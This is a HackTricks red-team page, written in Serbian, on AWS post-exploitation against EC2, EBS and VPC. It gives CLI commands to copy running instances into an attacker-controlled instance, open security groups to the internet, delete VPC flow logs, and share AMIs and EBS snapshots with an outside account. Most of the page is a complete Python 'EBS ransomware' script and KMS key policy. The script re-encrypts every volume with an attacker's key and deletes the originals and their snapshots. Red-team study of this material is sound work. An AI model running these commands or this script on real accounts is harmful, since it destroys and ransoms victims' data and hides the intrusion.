AWS - EC2, EBS, SSM & VPC Post Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

EC2 & VPC

Za više informacija pogledajte:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Zlonamerno VPC Ogledalo - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC ogledalo saobraćaja duplira dolazni i odlazni saobraćaj za EC2 instance unutar VPC-a bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj obično bi bio poslat nečemu poput sistema za detekciju upada u mrežu (IDS) radi analize i praćenja. Napadač bi mogao zloupotrebiti ovo da uhvati sav saobraćaj i dobije osetljive informacije iz njega:

Za više informacija pogledajte ovu stranicu:

AWS - Malicious VPC Mirror

Kopiranje Pokrenute Instance

Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se unutra (proverite trikove za eskalaciju privilegija EC2). Međutim, još jedan način da se proveri šta sadrži je kreiranje AMI-a i pokretanje nove instance (čak i u vašem sopstvenom nalogu) iz njega:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshotovi su rezervne kopije zapisa, koje obično sadrže osetljive informacije, stoga njihovo proveravanje treba otkriti ove informacije. Ako pronađete zapis bez snapshota, možete: Napraviti snapshot i izvršiti sledeće radnje ili ga jednostavno montirati na instancu unutar naloga:

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može izaći, još uvek može eksfiltrirati putem DNS-a.

  • VPC Flow Logs neće zabeležiti ovo.

  • Nemate pristup AWS DNS zapisima.

  • Onemogućite ovo postavljanjem "enableDnsSupport" na false pomoću:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Eksfiltracija putem API poziva

Napadač bi mogao pozvati API endpointe naloga koji su pod njegovom kontrolom. Cloudtrail će zabeležiti ove pozive i napadač će moći videti eksfiltrirane podatke u Cloudtrail zapisima.

Otvorena Security Group

Možete dobiti dalji pristup mrežnim uslugama otvaranjem portova na ovaj način:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Povećanje privilegija na ECS

Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje za pokretanje ECS instanci, a zatim ukrasti podatke ECS instanci.

Za više informacija pogledajte ovde.

Uklanjanje VPC flow logova

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Podeli AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Deljenje EBS snimka

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Dokaz koncepta sličan demonstraciji Ransomware-a prikazanom u beleškama post-eksploatacije S3. KMS bi trebalo preimenovati u RMS za Upravljanje Ransomware uslugama s obzirom na to koliko je lako koristiti ga za šifrovanje različitih AWS usluga.

Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ upravljan od strane korisnika u KMS-u. Za ovaj primer, AWS će upravljati podacima ključa za mene, ali u realnom scenariju zlonamerni akter bi zadržao podatke ključa van kontrole AWS-a. Promenite politiku ključa da dozvoli bilo kom AWS nalogu Princip da koristi ključ. Za ovu politiku ključa, ime naloga je 'AttackSim' i pravilo politike koje dozvoljava svaki pristup se zove 'Spoljno šifrovanje'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Pravilo ključne politike zahteva sledeće omogućeno kako bi se omogućila mogućnost korišćenja za šifrovanje EBS zapisa:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtveni' nalog koji ima nekoliko EC2 instanci pokrenutih sa nešifrovanim EBS zapisima prikačenim. Ovi EBS zapisi 'žrtvenog' naloga su ono na šta ciljamo za šifrovanje, ovaj napad se vrši pod pretpostavljenim probijanjem naloga visokih privilegija AWS-a.

To rezultira samo šifrovanim EBS zapisima koji su dostupni u nalogu.

Takođe je važno napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS zapise. Originalni nešifrovani zapisi su sada obrisani.

Zatim, vratite se na ključnu politiku u 'napadačkom' nalogu i uklonite pravilo ključne politike 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Sačekajte trenutak da se nova postavljena politika ključa proširi. Zatim se vratite na 'žrtveni' nalog i pokušajte da priložite jedan od novih šifrovanih EBS volumena. Primetićete da možete da priložite volumen.

Međutim, kada pokušate da ponovo pokrenete EC2 instancu sa šifrovanim EBS volumenom, pokretanje će jednostavno neuspešno završiti i ostati u stanju 'pending', prelazeći nazad u stanje 'stopped' zauvek, jer priloženi EBS volumen ne može biti dešifrovan korišćenjem ključa, s obzirom da politika ključa više to ne dozvoljava.

Ovo je Python skripta koja se koristi. Ona zahteva AWS kredencijale za 'žrtveni' nalog i javno dostupnu vrednost AWS ARN za ključ koji će se koristiti za šifrovanje. Skripta će napraviti šifrovane kopije SVIH dostupnih EBS volumena priloženih SVIM EC2 instancama u ciljanom AWS nalogu, zatim zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih, i na kraju obrisati sve snimke korištene tokom procesa. Time će ostati samo šifrovani EBS volumeni u ciljanom 'žrtvenom' nalogu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u njihovo originalno stanje putem snimaka, ali želim da vas upozorim da je ovo PoC ransomware na kraju dana.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated